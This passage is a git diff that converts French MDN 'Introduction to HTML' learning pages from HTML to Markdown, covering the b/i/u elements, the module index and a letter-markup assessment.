<strong>quelconque</strong> information sur cet incident, veuillez contacter la police <strong>immédiatement</strong>.</p>"; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -880,72 +936,69 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample("Apprentissage_actif_soulignez_l'important", 700, 500) }}</p> +{{ EmbedLiveSample("Apprentissage_actif_soulignez_l'important", 700, 500) }} -<h3 id="Italique_gras_soulignement…">Italique, gras, soulignement…</h3> +### Italique, gras, soulignement… -<p>Les éléments dont nous avons discuté jusqu'à présent ont une sémantique bien définie. La situation avec {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}} est un peu plus complexe. Ils sont apparus pour que les personnes puissent écrire du texte en gras, en italique ou souligné à une époque où le CSS était encore mal ou pas du tout pris en charge. De tels éléments, qui n'affectent que la présentation et non la sémantique, sont appelés <strong>éléments de présentation</strong> et ne devraient plus être utilisés, car comme nous l'avons vu précédemment, la sémantique a la plus grande importance pour l'accessibilité, le référencement, etc.</p> +Les éléments dont nous avons discuté jusqu'à présent ont une sémantique bien définie. La situation avec {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}} est un peu plus complexe. Ils sont apparus pour que les personnes puissent écrire du texte en gras, en italique ou souligné à une époque où le CSS était encore mal ou pas du tout pris en charge. De tels éléments, qui n'affectent que la présentation et non la sémantique, sont appelés **éléments de présentation** et ne devraient plus être utilisés, car comme nous l'avons vu précédemment, la sémantique a la plus grande importance pour l'accessibilité, le référencement, etc. -<p>HTML5 a redéfini <code><b></code>, <code><i></code> et <code><u></code> avec de nouveaux rôles sémantiques quelques peu déroutants.</p> +HTML5 a redéfini `<b>`, `<i>` et `<u>` avec de nouveaux rôles sémantiques quelques peu déroutants. -<p>Voici la meilleure règle d'or : il est probablement approprié d'utiliser <code><b></code>, <code><i></code>, ou <code><u></code> pour communiquer le sens traditionnellement associé aux caractères gras, italiques ou soulignés, à condition qu'il n'y ait pas d'élément plus approprié. Toutefois, il demeure toujours essentiel de garder présent à l'esprit le concept d'accessibilité. L'écriture en italique n'est pas très utile aux personnes utilisant des lecteurs d'écran ou un système d'écriture autre que l'alphabet latin.</p> +Voici la meilleure règle d'or : il est probablement approprié d'utiliser `<b>`, `<i>`, ou `<u>` pour communiquer le sens traditionnellement associé aux caractères gras, italiques ou soulignés, à condition qu'il n'y ait pas d'élément plus approprié. Toutefois, il demeure toujours essentiel de garder présent à l'esprit le concept d'accessibilité. L'écriture en italique n'est pas très utile aux personnes utilisant des lecteurs d'écran ou un système d'écriture autre que l'alphabet latin. -<ul> - <li>{{HTMLElement('i')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec l'italique : des mots étrangers, une désignation taxonomique, des termes techniques, une pensée…</li> - <li>{{HTMLElement('b')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec les caractères en gras : des mots‑clés, des noms de produits, une phrase liminaire…</li> - <li>{{HTMLElement('u')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec le soulignement : noms propres, mauvaise orthographe...</li> -</ul> +- {{HTMLElement('i')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec l'italique : des mots étrangers, une désignation taxonomique, des termes techniques, une pensée… +- {{HTMLElement('b')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec les caractères en gras : des mots‑clés, des noms de produits, une phrase liminaire… +- {{HTMLElement('u')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec le soulignement : noms propres, mauvaise orthographe... -<div class="note"> -<p><strong>Note :</strong> Un petit avertissement à propos du soulignement : <strong>les gens associent fortement soulignement et hyperliens</strong>. Par conséquent, sur le Web, il est préférable de ne souligner que les liens. N'utilisez l'élément <code><u></code> que s'il est sémantiquement approprié, mais envisagez d'utiliser les CSS pour remplacer le soulignement par défaut par quelque chose de plus approprié sur le Web. L'exemple ci-dessous illustre comment cela peut être fait.</p> -</div> +> **Note :** Un petit avertissement à propos du soulignement : **les gens associent fortement soulignement et hyperliens**. Par conséquent, sur le Web, il est préférable de ne souligner que les liens. N'utilisez l'élément `<u>` que s'il est sémantiquement approprié, mais envisagez d'utiliser les CSS pour remplacer le soulignement par défaut par quelque chose de plus approprié sur le Web. L'exemple ci-dessous illustre comment cela peut être fait. -<pre class="brush: html"><!-- noms scientifiques --> -<p> - Le colibri à gorge rouge (<i>Archilochus colubris</i>) +```html +<!-- noms scientifiques --> +<p> + Le colibri à gorge rouge (<i>Archilochus colubris</i>) est le colibri le plus courant dans l'ouest de l'Amérique du Nord. -</p> - -<!-- mots dans une langue étrangère --> -<p> - Le menu était un océan de mots exotiques comme <i lang="uk-latn">vatrushka</i>, - <i lang="id">nasi goreng</i> et <i lang="en">porridge</i>. -</p> - -<!-- une faute d'orthographe connue --> -<p> - Un jour, j'apprendrai comment mieux <u style="text-decoration-line: underline; text-decoration-style: wavy;">épeler</u>. -</p> - -<!-- Mettre en évidence les mots‑clés dans un ensemble d'instructions --> -<ol> - <li> - <b>Trancher</b> deux morceaux de pain dans la miche. - </li> - <li> - <b>Mettre</b> une rondelle de tomate et une feuille de laitue +</p> + +<!-- mots dans une langue étrangère --> +<p> + Le menu était un océan de mots exotiques comme <i lang="uk-latn">vatrushka</i>, + <i lang="id">nasi goreng</i> et <i lang="en">porridge</i>. +</p> + +<!-- une faute d'orthographe connue --> +<p> + Un jour, j'apprendrai comment mieux <u style="text-decoration-line: underline; text-decoration-style: wavy;">épeler</u>. +</p> + +<!-- Mettre en évidence les mots‑clés dans un ensemble d'instructions --> +<ol> + <li> + <b>Trancher</b> deux morceaux de pain dans la miche. + </li> + <li> + <b>Mettre</b> une rondelle de tomate et une feuille de laitue entre les deux tranches de pain. - </li> -</ol></pre> + </li> +</ol> +``` -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">créer des hyperliens</a>, qui est peut-être l'élément le plus important sur le Web.</p> +C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment [créer des hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks), qui est peut-être l'élément le plus important sur le Web. -<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p> +{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li>Fondamentaux du texte HTML</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creation d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une Lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- Fondamentaux du texte HTML +- [Creation d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une Lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/index.md b/files/fr/learn/html/introduction_to_html/index.md index d4a5b51dbd..e8f5daa255 100644 --- a/files/fr/learn/html/introduction_to_html/index.md +++ b/files/fr/learn/html/introduction_to_html/index.md @@ -14,53 +14,45 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML original_slug: Apprendre/HTML/Introduction_à_HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Dans son cœur, {{glossary("HTML")}} est un langage vraiment simple, composé d'éléments appliquables à des fragments de texte dans un document pour leur donner un sens différent (est-ce un paragraphe ? est-ce une liste à puces ? est-ce une partie de tableau ?), pour structurer un document en sections logiques (a‑t‑il un en-tête ? est-il sur trois colonnes ? a-t-il un menu de navigation ?) et pour intégrer du contenu comme images ou vidéos dans une page. Ce module est une introduction aux deux premiers concepts ; il présente les notions fondamentales et la syntaxe à connaître pour comprendre le HTML.</p> +Dans son cœur, {{glossary("HTML")}} est un langage vraiment simple, composé d'éléments appliquables à des fragments de texte dans un document pour leur donner un sens différent (est-ce un paragraphe ? est-ce une liste à puces ? est-ce une partie de tableau ?), pour structurer un document en sections logiques (a‑t‑il un en-tête ? est-il sur trois colonnes ? a-t-il un menu de navigation ?) et pour intégrer du contenu comme images ou vidéos dans une page. Ce module est une introduction aux deux premiers concepts ; il présente les notions fondamentales et la syntaxe à connaître pour comprendre le HTML. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Il n'y a pas besoin de connaissances préalables en HTML pour parcourir ce module, mais vous devez au moins être familier des ordinateurs et d'une utilisation passive du Web (càd. juste le parcourir et consommer son contenu). Vous devriez avoir un environnement de travail en place tel que détaillé dans <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">cet article</a> et comprendre comment créer et gérer des fichiers tel qu'expliqué dans <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">cet autre article</a> — ces deux articles font partie du module <a href="/fr/docs/Learn/Getting_started_with_the_web">Démarrer avec le Web</a> qui s'adresse aux débutants.</p> +Il n'y a pas besoin de connaissances préalables en HTML pour parcourir ce module, mais vous devez au moins être familier des ordinateurs et d'une utilisation passive du Web (càd. juste le parcourir et consommer son contenu). Vous devriez avoir un environnement de travail en place tel que détaillé dans [cet article](/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software) et comprendre comment créer et gérer des fichiers tel qu'expliqué dans [cet autre article](/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files) — ces deux articles font partie du module [Démarrer avec le Web](/fr/docs/Learn/Getting_started_with_the_web) qui s'adresse aux débutants. -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur, tablette ou autre appareil sur lequel il n'est pas posssible de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code grâce à des outils en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur, tablette ou autre appareil sur lequel il n'est pas posssible de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code grâce à des outils en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<p>Ce module contient les articles suivants vous permettant de parcourir toute la théorie des bases du HTML ; il vous donnera amplement l'occasion de tester vos compétences.</p> +Ce module contient les articles suivants vous permettant de parcourir toute la théorie des bases du HTML ; il vous donnera amplement l'occasion de tester vos compétences. -<dl> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></dt> - <dd>Cet article porte sur les fondements du HTML pour prendre un bon départ — nous définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour attiser votre intérêt.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></dt> - <dd><code>head</code> dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML grâce des CSS), des liens aux favicons et des méta-données (auteur du document, mots-clés décrivant le document, etc.).</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Les concepts fondamentaux du HTML liés au texte</a></dt> - <dd>Un des rôles principaux du HTML est de donner un sens au texte (on dit aussi <strong>sémantiser</strong>), afin que le navigateur sache comment l'afficher correctement. Cet article montre comment utiliser le HTML pour fractionner un bloc de texte en une structure avec titres et paragraphes, ajouter des marques d'emphase ou d'importance à des mots, créer des listes, etc.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Créer des hyperliens</a></dt> - <dd>Les hyperliens sont vraiment importants — ce sont eux qui tissent la toile du Web. Cet article montre la syntaxe requise pour faire un lien et expose les meilleures pratiques concernant les liens.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">La mise en forme avancée du texte</a></dt> - <dd>Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article<a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals"> Les concepts fondamentaux du HTML liés au texte</a>. Les éléments abordés ici sont moins connus mais tout aussi utiles. Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">La structure d'un document et d'un site web</a></dt> - <dd>De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer du code HTML</a></dt> - <dd>Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider.</dd> -</dl> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) + - : Cet article porte sur les fondements du HTML pour prendre un bon départ — nous définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour attiser votre intérêt. +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) + - : `head` dans un document HTML est une partie du document qui n'est pas affichée par le navigateur au chargement de la page. Elle contient des informations comme le titre ({{htmlelement("title")}}) de la page, des liens aux {{glossary("CSS")}} (si vous souhaitez composer le contenu HTML grâce des CSS), des liens aux favicons et des méta-données (auteur du document, mots-clés décrivant le document, etc.). +- [Les concepts fondamentaux du HTML liés au texte](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) + - : Un des rôles principaux du HTML est de donner un sens au texte (on dit aussi **sémantiser**), afin que le navigateur sache comment l'afficher correctement. Cet article montre comment utiliser le HTML pour fractionner un bloc de texte en une structure avec titres et paragraphes, ajouter des marques d'emphase ou d'importance à des mots, créer des listes, etc. +- [Créer des hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) + - : Les hyperliens sont vraiment importants — ce sont eux qui tissent la toile du Web. Cet article montre la syntaxe requise pour faire un lien et expose les meilleures pratiques concernant les liens. +- [La mise en forme avancée du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) + - : Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article[ Les concepts fondamentaux du HTML liés au texte](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals). Les éléments abordés ici sont moins connus mais tout aussi utiles. Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc. +- [La structure d'un document et d'un site web](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) + - : De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant. +- [Déboguer du code HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) + - : Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider. -<h2 id="Évaluations">Évaluations</h2> +## Évaluations -<p>Les exercices suivants vous permettront de tester votre compréhension des bases du HTML couvertes dans les guides ci‑dessus.</p> +Les exercices suivants vous permettront de tester votre compréhension des bases du HTML couvertes dans les guides ci‑dessus. -<dl> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Utiliser les bons éléments pour une lettre</a></dt> - <dd>Tôt ou tard, nous apprenons tous à écrire une lettre ; cet exemple est utile pour tester vos compétences en mise en forme de texte. L'exercice consiste à baliser une lettre.</dd> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Organiser la structure d'une page</a></dt> - <dd>Dans cette évaluation, vous devrez organiser la structure d'une page simple avec un en-tête, un pied de page, un menu de navigation, un contenu principal et une barre latérale.</dd> -</dl> +- [Utiliser les bons éléments pour une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) + - : Tôt ou tard, nous apprenons tous à écrire une lettre ; cet exemple est utile pour tester vos compétences en mise en forme de texte. L'exercice consiste à baliser une lettre. +- [Organiser la structure d'une page](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) + - : Dans cette évaluation, vous devrez organiser la structure d'une page simple avec un en-tête, un pied de page, un menu de navigation, un contenu principal et une barre latérale. -<h2 id="Voir_également">Voir également</h2> +## Voir également -<dl> - <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Web literacy basics 1</a></dt> - <dd>Un excellent cours de la fondation Mozilla qui évoque et teste un grand nombre de compétences évoquées dans le module « Introduction à HTML ». Les apprenants peuvent s'y familiariser avec la lecture, l'écriture et la participation au Web dans ce module en six parties. Découvrez les fondations du Web à travers la production et la collaboration.</dd> -</dl> +- [Web literacy basics 1](https://teach.mozilla.org/activities/web-lit-basics/) + - : Un excellent cours de la fondation Mozilla qui évoque et teste un grand nombre de compétences évoquées dans le module « Introduction à HTML ». Les apprenants peuvent s'y familiariser avec la lecture, l'écriture et la participation au Web dans ce module en six parties. Découvrez les fondations du Web à travers la production et la collaboration. diff --git a/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md index faa34e068d..9e8ff0d14d 100644 --- a/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md +++ b/files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.md @@ -12,93 +12,103 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter original_slug: Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_à_HTML")}} -<div>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_%C3%A0_HTML/Structuring_a_page_of_content", "Apprendre/HTML/Introduction_à_HTML")}}</div> - -<p>Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de <code><head></code> en HTML.</p> +Tôt ou tard nous apprenons tous à écrire une lettre ; c'est aussi un exemple utile pour tester nos compétences en matière de mise en forme ! Dans cet exercice, vous devrez opérer le balisage d'une lettre en utilisant les fonctionnalités textes élémentaires et avancées, y compris les hyperliens, et en plus nous testerons vos connaissances avec certains contenus de `<head>` en HTML. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de se lancer dans cet exercice, vous devez déja avoir travaillé <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML, </a><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML, </a><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML, </a><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a> et <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester vos connaissances en balisage HTML simple et avancé de texte, d'hyperliens et de ce qu'il convient de mettre dans l'élément <head>.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de se lancer dans cet exercice, vous devez déja avoir travaillé + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started" + >Commencer avec le HTML, </a + ><a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML" + >Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML, </a + ><a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals" + >Fondamentaux du texte HTML, </a + ><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks" + >Création d'hyperliens</a + > + et + <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting" + >Formatage avancé du texte</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester vos connaissances en balisage HTML simple et avancé de texte, + d'hyperliens et de ce qu'il convient de mettre dans l'élément + <head>. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ -<p>Pour commencer cet exercice, vous devez récupérer le <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt">texte brut que vous allez baliser</a> et les CSS <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt">à inclure</a> dans l'HTML. Créez un nouveau fichier <code>.html</code> avec l'éditeur de texte dans lequel vous allez travailler (ou bien utilisez un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire l'exercice.)</p> +Pour commencer cet exercice, vous devez récupérer le [texte brut que vous allez baliser](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt) et les CSS [à inclure](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt) dans l'HTML. Créez un nouveau fichier `.html` avec l'éditeur de texte dans lequel vous allez travailler (ou bien utilisez un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire l'exercice.) -<h2 id="Projet_«_lettre_»">Projet « lettre »</h2> +## Projet « lettre » -<p>Pour ce projet, votre tâche consiste à baliser une lettre destinée à être hébergée dans l'intranet d'une université. La lettre est une réponse d'une chercheuse en poste à une doctorante éventuelle à propos de sa candidature pour travailler à l'université.</p> +Pour ce projet, votre tâche consiste à baliser une lettre destinée à être hébergée dans l'intranet d'une université. La lettre est une réponse d'une chercheuse en poste à une doctorante éventuelle à propos de sa candidature pour travailler à l'université. -<p>Sémantique de blocs/structures :</p> +Sémantique de blocs/structures : -<ul> - <li>Il convient que vous donniez à la totalité du document une structure appropriée comprenant le type de document et les éléments {{htmlelement("html")}}, {{htmlelement("head")}} et {{htmlelement("body")}}.</li> - <li>La lettre doit être marquée avec une structure de paragraphes et d'en‑têtes, en prenant en considération les points suivants : un en‑tête de haut niveau (la ligne « Re : ») et trois en-têtes de deuxième niveau.</li> - <li>Les dates de début des semestres, les sujets d'étude et les danses exotiques seront balisées avec les types de listes appropriés.</li> - <li>Mettez les deux adresses dans l'élement {{htmlelement("address")}}. En plus, chaque ligne des adresses doit être mise sur une nouvelle ligne sans que ce soit un nouveau paragraphe.</li> -</ul> +- Il convient que vous donniez à la totalité du document une structure appropriée comprenant le type de document et les éléments {{htmlelement("html")}}, {{htmlelement("head")}} et {{htmlelement("body")}}. +- La lettre doit être marquée avec une structure de paragraphes et d'en‑têtes, en prenant en considération les points suivants : un en‑tête de haut niveau (la ligne « Re : ») et trois en-têtes de deuxième niveau. +- Les dates de début des semestres, les sujets d'étude et les danses exotiques seront balisées avec les types de listes appropriés. +- Mettez les deux adresses dans l'élement {{htmlelement("address")}}. En plus, chaque ligne des adresses doit être mise sur une nouvelle ligne sans que ce soit un nouveau paragraphe. -<p>Sémantique en ligne :</p> +Sémantique en ligne : -<ul> - <li>Les noms de l'expéditeur et du destinataire (et « Tél » et « e‑mail ») doivent être marqués comme étant de grande importance.</li> - <li>Les quatre dates du document doivent être indiquées dans des éléments appropriés contenant des dates lisibles par la machine.</li> - <li>La première adresse et la première date de la lettre doivent recevoir une valeur d'attribut de classe « sender-column » ; le CSS que vous ajouterez plus tard les alignera à droite, comme c'est le cas dans une mise en page de lettre classique.</li> - <li>Les cinq acronymes/abréviations dans le corps du texte de la lettre seront marqués pour permettre leur développement.</li> - <li>Les six indices/exposants seront balisés de manière appropriée.</li> - <li>Les symboles « degré », « plus grand que » , « multiplier » seront marqués avec les références d'entités voulues.</li> - <li>Essayez de marquer au moins deux mots importants en gras/italique.</li> - <li>Deux emplacements nécessitent un hyperlien ; ajoutez les liens appropriés avec des intitulés. Pour l'emplacement sur lequel le lien pointe, utilisez simplement http://example.com.</li> - <li>La citation et la devise de l'université doivent être marquées avec les éléments appropriés.</li> -</ul> +- Les noms de l'expéditeur et du destinataire (et « Tél » et « e‑mail ») doivent être marqués comme étant de grande importance. +- Les quatre dates du document doivent être indiquées dans des éléments appropriés contenant des dates lisibles par la machine. +- La première adresse et la première date de la lettre doivent recevoir une valeur d'attribut de classe « sender-column » ; le CSS que vous ajouterez plus tard les alignera à droite, comme c'est le cas dans une mise en page de lettre classique. +- Les cinq acronymes/abréviations dans le corps du texte de la lettre seront marqués pour permettre leur développement. +- Les six indices/exposants seront balisés de manière appropriée. +- Les symboles « degré », « plus grand que » , « multiplier » seront marqués avec les références d'entités voulues. +- Essayez de marquer au moins deux mots importants en gras/italique. +- Deux emplacements nécessitent un hyperlien ; ajoutez les liens appropriés avec des intitulés. Pour l'emplacement sur lequel le lien pointe, utilisez simplement http\://example.com. +- La citation et la devise de l'université doivent être marquées avec les éléments appropriés. -<p>Dans l'en‑tête du document :</p> +Dans l'en‑tête du document : -<ul> - <li>Le jeu de caractères sera précisé comme étant utf-8 avec la balise <code>meta</code> appropriée.</li> - <li>L'auteur de la lettre sera indiqué dans une balise <code>meta</code> adéquate.</li> - <li>Les CSS fournies seront incorporées avec le marquage approprié.</li> -</ul> +- Le jeu de caractères sera précisé comme étant utf-8 avec la balise `meta` appropriée. +- L'auteur de la lettre sera indiqué dans une balise `meta` adéquate. +- Les CSS fournies seront incorporées avec le marquage approprié. -<h2 id="Conseils_et_astuces">Conseils et astuces</h2> +## Conseils et astuces -<ul> - <li>Utilisez le <a href="https://validator.w3.org/">validateur HTML W3C</a> pour valider votre HTML ; Vous aurez des points supplémentaires s'il est valide.</li> - <li>Il n'est pas nécessaire de connaître les CSS pour faire cet exercice ; vous avez juste besoin de le mettre dans un élément HTML.</li> -</ul> +- Utilisez le [validateur HTML W3C](https://validator.w3.org/) pour valider votre HTML ; Vous aurez des points supplémentaires s'il est valide. +- Il n'est pas nécessaire de connaître les CSS pour faire cet exercice ; vous avez juste besoin de le mettre dans un élément HTML. -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>La capture d'écran 